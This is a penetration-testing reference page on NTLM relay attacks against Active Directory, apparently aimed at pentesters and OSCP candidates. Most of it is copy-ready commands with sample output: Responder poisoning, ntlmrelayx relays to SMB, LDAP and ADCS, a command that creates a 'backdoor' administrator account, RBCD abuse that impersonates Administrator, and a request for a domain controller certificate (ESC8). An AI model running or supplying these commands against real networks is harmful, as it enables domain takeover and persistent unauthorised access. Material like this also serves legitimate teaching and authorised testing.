# NTLM Relay in Active Directory

> Exploit NTLM authentication weaknesses to relay captured credentials against AD services, bypassing direct password cracking to gain unauthorised access.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

NTLM relay intercepts an authentication attempt from one host and forwards it to a different target service before the original connection completes. The relay acts as a man-in-the-middle: the target service sees a legitimate authentication from the coerced account and grants access accordingly. The attacker never needs the account's credentials or hash.

Common NTLM relay targets in Active Directory:

- LDAP/LDAPS on the DC: set RBCD, create machine accounts, modify ACLs
- SMB on workstations: command execution when signing is not enforced
- ADCS web enrollment (HTTP): request certificates as the relayed account (ESC8)

Each target requires specific conditions. Check those conditions before setting up the relay.

## Check signing requirements

SMB relay only works when SMB signing is not enforced on the target. LDAP relay requires LDAP signing and channel binding to not be required on the DC. Check both before configuring a relay.

**Identify relay targets: signing check**

```bash
# Generate list of hosts without SMB signing enforced
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt

# Check LDAP signing requirement on DC
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker
# SMB  10.10.10.20  445  WS01  signing: False
# SMB  10.10.10.30  445  WS02  signing: False
#
# LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced
```

## NTLM relay setup

ntlmrelayx receives the incoming NTLM authentication and forwards it to the configured target. Responder poisons name resolution to capture authentication from hosts on the segment. When running both together, disable SMB and HTTP in Responder so those ports are free for ntlmrelayx to receive connections.

> [!WARNING]
> Responder's LLMNR/NBT-NS poisoning is prohibited in the OSCP exam. The relay itself stays fine when the authentication is triggered by coercion (PetitPotam, printerbug) instead of poisoning. Do not run Responder in poisoning mode during exam environments.

**Prepare Responder for relay**

```bash
# Disable SMB and HTTP in Responder so ntlmrelayx handles those ports
sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf

# Start Responder: poisons LLMNR and NBT-NS only
responder -I eth0 -v
```

## Relay to SMB: command execution

Relaying to SMB on a host without signing enforced gives an interactive shell or command execution as the relayed account. If the coerced account is a local admin on the target, the relay gives immediate code execution.

**Relay to SMB**

```bash
# Relay to single SMB target: interactive shell
impacket-ntlmrelayx -t smb://$TARGET_IP -smb2support -i

# Relay to multiple targets from file
impacket-ntlmrelayx -tf targets.txt -smb2support

# Execute command directly on relay success
impacket-ntlmrelayx -t smb://$TARGET_IP -smb2support -c 'net user backdoor Password123! /add && net localgroup administrators backdoor /add'
# [*] SMBD-Thread-2: Connection from CORP/jsmith
# [*] Authenticating against smb://10.10.10.20 as CORP/jsmith
# [+] Successfully authenticated as CORP/jsmith
# [+] CORP/jsmith successfully relayed to SMB on 10.10.10.20
```

## Relay to LDAP: RBCD and machine account creation

Relaying to LDAP on the DC lets ntlmrelayx modify AD objects as the relayed account. The two most useful actions are creating a machine account and configuring RBCD on a target computer. Both require the relayed account to have sufficient LDAP write permissions: a relayed computer account typically has enough rights to set RBCD on itself.

**Relay to LDAP: RBCD via delegate-access**

```bash
# Relay to LDAP: creates attacker-controlled machine account and sets RBCD
impacket-ntlmrelayx -t ldap://$DC_IP -smb2support --delegate-access

# ntlmrelayx creates a machine account and prints its credentials
# Use those credentials to request a service ticket via S4U2Proxy
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $DC_IP $DOMAIN/'ATTACKERSYSTEM$':'RandomPassword'
# [*] SMBD-Thread-2: Connection from CORP/DC01$
# [*] Authenticating against ldap://10.10.10.10 as CORP/DC01$
# [+] Delegation rights modified successfully
# [+] ATTACKERSYSTEM$ can now impersonate users on DC01$ via S4U2Proxy
# [*] Machine Account: ATTACKERSYSTEM$  Password: RandomPassword
```

**Relay to LDAP: add machine account**

```bash
# Relay to LDAPS: create a machine account directly
impacket-ntlmrelayx -t ldaps://$DC_IP -smb2support --add-computer 'ATTACKPC' 'AttackPassword123!'
# [+] Successfully added machine account ATTACKPC$ with password AttackPassword123!
```

## Relay to ADCS: certificate request

Relaying to the ADCS web enrollment endpoint requests a certificate on behalf of the coerced account. This is ESC8: see [ADCS Exploitation](https://hackindex.io/platforms/active-directory/exploitation/adcs-exploitation) for the full workflow including certificate-to-hash conversion.

**Relay to ADCS web enrollment**

```bash
# Relay to CA web enrollment: request certificate for coerced account
impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
# [+] Successfully requested certificate for DC01$
# [*] Base64 certificate: MIIRbQIBAzCC...
```

After a successful relay, the follow-on action depends on the relay target. SMB relay gives immediate execution: move to [Credential Harvesting](https://hackindex.io/platforms/active-directory/post-exploitation/ad-credential-harvesting) on the newly accessed host. LDAP relay with RBCD gives a path to impersonating Domain Admin on the target computer: follow the S4U2Proxy chain in [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation). ADCS relay yields a certificate: convert it to an NT hash via [ADCS Exploitation](https://hackindex.io/platforms/active-directory/exploitation/adcs-exploitation).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - ntlmrelayx --delegate-access, --add-computer, --adcs flag reference
- [Responder: GitHub](https://github.com/lgandx/Responder) - Responder.conf SMB/HTTP disable for relay setup
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - --gen-relay-list and ldap-checker module reference